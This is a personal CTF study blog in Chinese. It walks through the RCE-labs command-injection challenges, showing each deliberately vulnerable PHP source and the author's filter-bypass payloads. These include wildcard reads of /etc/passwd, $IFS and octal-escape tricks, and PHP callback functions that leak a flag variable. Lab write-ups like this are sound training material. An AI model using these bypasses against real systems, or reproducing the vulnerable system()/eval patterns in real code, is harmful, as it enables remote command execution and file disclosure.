以此文记录我在学习CTF中的心路历程,日拱一卒,功不唐捐。
一、WEB学习目录
工具篇:
WEB的常用工具有:
BurpSuite(一款常用的抓包工具,应用广泛,文件上传必不可少的利器)
Hackerbar(浏览器插件,传参的好帮手)
蚁剑(连接工具)
还有许许多多的部署在Linux上的工具,……这里的东西就以后再来探索吧()
###
拥有了入门的工具,就可以步入WEB的世界力(喜)
WEB包括哪些内容:
1.文件包含
2.文件上传
[!NOTE]
更新:2026年3月8日
慢慢意识到自己当初基础非常的薄弱,以前也没怎么好好刷题
这个博客用来记录从零开始学web的做题记录
CTF show
web签到题
F12 查看前端,在HTML中看到base64加密的flag
RCE-labs-level4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<?
/*
&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test
||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo "Directory not found"
&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo "This will run immediately."
;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo "Hello" ; echo "World"
*/
function hello_server($ip){
system("ping -c 1 $ip");
}
isset($_GET['ip']) ? hello_server($_GET['ip']) : null;
highlight_file(__FILE__);
?>
|
在这道题中,默认只有传递 ip||ls 可以成功执行,原因是 Payload在到达服务器并最终执行的过程中,经过了HTTP 解析层 和 Linux Shell 逻辑层 的双重处理,在 URL 中,& 符号有着特殊含义,它是不同 GET 参数之间的分隔符,所以在传递的时候必须将&进行URL编码才能执行成功,;同理。
RCE-labs-level5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<?
/*
在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。
*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。
通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:
system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...
*/
function hello_shell($cmd){
if(preg_match("/flag/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
|
payload: ?cmd=cat /f*
RCE-labs-level6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?
function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
|
这道题可以用上面的通配符进行绕过,可以看到这里过滤了除了字母a和数字以外所有的大小写字母,没过滤/ 所以可以cmd=/???/?a? /??a? 用于匹配根目录下三个字符的目录(如 /bin、/etc)中,文件名长度为三个字符且中间字符为 a 的文件,常见的有 /bin/cat、/bin/tar、/bin/man 等。
/??a?:匹配根目录下四个字符的文件名,且第三个字符为 a,即/flag,用这个会输出很多其他的东西;
也可以使用/???/?a??64 /??a?,即/bin/base64 /flag这个能只匹配到/flag,然后使用base64输出
/bin 目录是存放系统启动和单用户模式下必需的核心可执行文件,这些文件对所有用户(包括普通用户和 root)都可用,包含最基础的命令,如 ls(列出目录)、cp(复制文件)、mv(移动文件)、sh(Shell 解释器)等。
RCE-labs-level7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?
/*
在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
*/
function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
|
payload : ?cmd=cat$IFS/f*
RCE-labs-level2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
<?php
include ("get_flag.php");
global $flag;
session_start(); // 开启 session
/*
除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。
*/
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
function get_fun(){
$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>
|
flag放进了变量$flag中,random_func中的函数都是可以通过回调等方式进行输出flag的值
官方WP中是这样写的:
函数
说明
示例代码
用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。
1
2
|
eval('${flag}');
eval()
|
用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。
1
2
|
eval('echo $flag;');
assert()
|
测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。PHP 8.0.0 后移除该功能。
1
2
|
assert(print_r($flag));
call_user_func()
|
用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。
1
2
|
call_user_func('print_r', $flag);
create_function()
|
创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。自 PHP 7.2.0 起被_废弃_,并自 PHP 8.0.0 起被_移除_。
1
2
|
create_function('$a', 'echo $flag;')($a);
array_map()
|
将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。
1
2
|
array_map(print_r($flag), $a);
call_user_func_array()
|
调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。
1
2
|
call_user_func_array(print_r($flag), array());
usort()
|
对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。
1
2
|
usort($a,print_r($flag));
array_filter()
|
过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。
1
2
|
array_filter($a,print_r($flag));
array_reduce()
|
迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。
1
2
|
array_reduce($a,print_r($flag));
preg_replace()
|
执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。依赖 /e 模式,该模式自 PHP7.3 起被取消。
1
2
|
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)});
ob_start()
|
ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。
1
|
ob_start(print_r($flag));
|
RCE-labs-level9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
从该关卡开始你会发现我们在Dockerfile中添加了一行改动:
RUN ln -sf /bin/bash /bin/sh
这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox
我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。
在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。
bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found
bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
|
payload: ?cmd=$'\143\141\164' $'\57\146\154\141\147'
RCE-labs-level10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
|